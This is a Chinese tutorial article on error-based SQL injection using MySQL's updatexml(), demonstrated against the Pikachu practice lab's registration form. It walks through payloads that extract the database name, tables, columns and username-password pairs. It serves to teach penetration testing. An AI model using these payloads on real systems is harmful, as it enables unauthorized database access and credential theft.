詳解SQL報(bào)錯(cuò)盲注
今天繼續(xù)給大家介紹Linux運(yùn)維相關(guān)知識(shí),本文主要內(nèi)容是SQL報(bào)錯(cuò)盲注詳解。
免責(zé)聲明:
本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴(yán)禁利用文中技術(shù)進(jìn)行非法行為,否則造成一切嚴(yán)重后果自負(fù)!
再次強(qiáng)調(diào):嚴(yán)禁對(duì)未授權(quán)設(shè)備進(jìn)行滲透測(cè)試!
一、SQL報(bào)錯(cuò)函數(shù)詳解
updatexml();floor();extractvalue();等函數(shù)都可以用于構(gòu)造SQL報(bào)錯(cuò)函數(shù),今天我們主要來(lái)講解使用updatexml()函數(shù)。
updatexml()函數(shù)使用格式如下:
updatexml(XML_document,XPath_string,new_value)
XML_document是String格式的XML文檔名稱(chēng),XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替換查找到的符合條件的數(shù)據(jù)。
該函數(shù)有一個(gè)特性,即如果XPath_string不是XPath格式的字符串,就會(huì)報(bào)錯(cuò)并顯示處XPath的值,因此,我們可以利用這一特性實(shí)現(xiàn)SQL報(bào)錯(cuò)盲注。此外,我們還可以利用updatexml()函數(shù)的特性,實(shí)現(xiàn)在SQL插入、刪除等語(yǔ)句中的SQL注入。
二、SQL報(bào)錯(cuò)盲注payload構(gòu)造
1、updatexml語(yǔ)句構(gòu)造思路
updatexml()函數(shù)的構(gòu)造,首先需要閉合SQL語(yǔ)句中的冒號(hào)、括號(hào)。其次還需要使用and或者or語(yǔ)句連接成一個(gè)單獨(dú)的語(yǔ)句,這樣即可成功執(zhí)行updatexml()函數(shù)中的語(yǔ)句。
下面,我以皮卡丘靶場(chǎng)為例,來(lái)簡(jiǎn)單介紹一下updatexml報(bào)錯(cuò)注入payload的構(gòu)造思路,皮卡丘靶場(chǎng)SQL insert/update型注入頁(yè)面如下所示:
從上圖中可以看出,該頁(yè)面功能上是提供人員的注冊(cè),因此可以猜測(cè)其內(nèi)部是insert類(lèi)型的SQL語(yǔ)句,因此我們可以在手機(jī)、住址等列(一般不要選擇密碼,因?yàn)楹芏嗑W(wǎng)站都會(huì)把密碼進(jìn)行md5處理,從而導(dǎo)致我們的updatexml失效)中插入我們的updatexml語(yǔ)句。通過(guò)簡(jiǎn)單的實(shí)驗(yàn)可以得知,該站點(diǎn)的注入閉合為單引號(hào),因此payload的構(gòu)造格式為:
12' or updatexml() or'
2、查詢(xún)當(dāng)前數(shù)據(jù)庫(kù)
當(dāng)我們確定updatexml()函數(shù)的格式后,我們就可以寫(xiě)實(shí)際的payload語(yǔ)句了,相關(guān)命令如下所示:
12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
從上payload可以看出,updatexml()函數(shù)有三部分組成,我們需要把我們要執(zhí)行的SQL語(yǔ)句寫(xiě)到第二部分,第二部分是一個(gè)concat()函數(shù),之所以要拼接0x7e是因?yàn)樵?6進(jìn)制字符是一個(gè)波浪線,也可以換成其他的字符。
該payload執(zhí)行結(jié)果如下所示:
從上圖可以看出,我們當(dāng)前的數(shù)據(jù)庫(kù)名為pikachu。
3、查詢(xún)表名
查詢(xún)表名的payload如下所示:
12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '
在上述payload中,concat中間的SQL語(yǔ)句要用括號(hào)括起來(lái),然后寫(xiě)入正常的查詢(xún)命令即可,該payload執(zhí)行結(jié)果如下所示:
從上圖可以看出,我們查詢(xún)到當(dāng)前數(shù)據(jù)庫(kù)存在一個(gè)名為httpinfo的表,如果我們更改limit的限制,那么我們可以得到更多的表。
4、查詢(xún)列名
查詢(xún)列名的payload如下所示:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '
該payload構(gòu)造原理與以上類(lèi)似,執(zhí)行結(jié)果如下所示:
5、查詢(xún)字段名
字段名查詢(xún)的payload如下所示:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '
該payload構(gòu)造原理與以上類(lèi)似,執(zhí)行結(jié)果如下所示:
6、查詢(xún)數(shù)據(jù)
數(shù)據(jù)查詢(xún)的payload如下所示:
12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '
該payload構(gòu)造原理與以上類(lèi)似,執(zhí)行結(jié)果如下所示:
到此這篇關(guān)于SQL報(bào)錯(cuò)盲注詳解的文章就介紹到這了,更多相關(guān)SQL報(bào)錯(cuò)盲注內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
一道關(guān)于數(shù)據(jù)庫(kù)(經(jīng)典父子級(jí) ID 關(guān)聯(lián))更新題
這篇文章主要介紹了一道關(guān)于數(shù)據(jù)庫(kù)(經(jīng)典父子級(jí) ID 關(guān)聯(lián))更新題,大家?guī)兔ο胂脒€有其它解決思路沒(méi)有?2015-06-06啟動(dòng)sqlserver服務(wù)的bat腳本分享
這篇文章主要介紹了啟動(dòng)sqlserver服務(wù)的bat腳本分享,本文直接給出腳本代碼,需要的朋友可以參考下2015-02-02SQL SERVER先判斷視圖是否存在然后再創(chuàng)建視圖的語(yǔ)句
SQL SERVER中先判斷視圖是否存在,使用IF NOT EXISTS,然后再創(chuàng)建視圖,使用create view,整個(gè)過(guò)程如下2014-08-08SQL SERVER調(diào)用存儲(chǔ)過(guò)程小結(jié)
在SQL Server數(shù)據(jù)庫(kù)的維護(hù)或者Web開(kāi)發(fā)中,有時(shí)需要在存儲(chǔ)過(guò)程或者作業(yè)等其他數(shù)據(jù)庫(kù)操作中調(diào)用其它的存儲(chǔ)過(guò)程,下面介紹其調(diào)用的方法2015-11-11安裝sql server2008后再安裝sql 2005找不到本地服務(wù)器的解決方法
這篇文章主要介紹了安裝sql server2008后再安裝sql 2005找不到本地服務(wù)器的解決方法,需要的朋友可以參考下2015-01-01解決連接Sql?Server時(shí)報(bào)錯(cuò):無(wú)法通過(guò)使用安全套接字層加密與SQL?Server建立安全連接
這篇文章主要給大家介紹了關(guān)于解決連接Sql?Server時(shí)報(bào)錯(cuò):無(wú)法通過(guò)使用安全套接字層加密與SQL?Server建立安全連接的相關(guān)資料,需要的朋友可以參考下2024-01-01由于系統(tǒng)錯(cuò)誤 126 (SQL Server),指定驅(qū)動(dòng)程序無(wú)法加載
今天下午在給客戶(hù)安裝用友T3標(biāo)準(zhǔn)版時(shí)碰到一個(gè)非常棘手的問(wèn)題,MSDE2000數(shù)據(jù)庫(kù)和用友T3軟件都安裝好了,但是打開(kāi)系統(tǒng)管理的時(shí)候提示:AUTOMATION錯(cuò)誤,然后將數(shù)據(jù)庫(kù)徹底卸載干凈,用友通T3軟件也徹底卸載干凈,重新安裝了一下,仍然是這個(gè)情況2021-03-03order by newid() 各種數(shù)據(jù)庫(kù)隨機(jī)查詢(xún)的方法
order by newid() 各種數(shù)據(jù)庫(kù)隨機(jī)查詢(xún)的方法,需要的朋友可以參考一下2013-04-04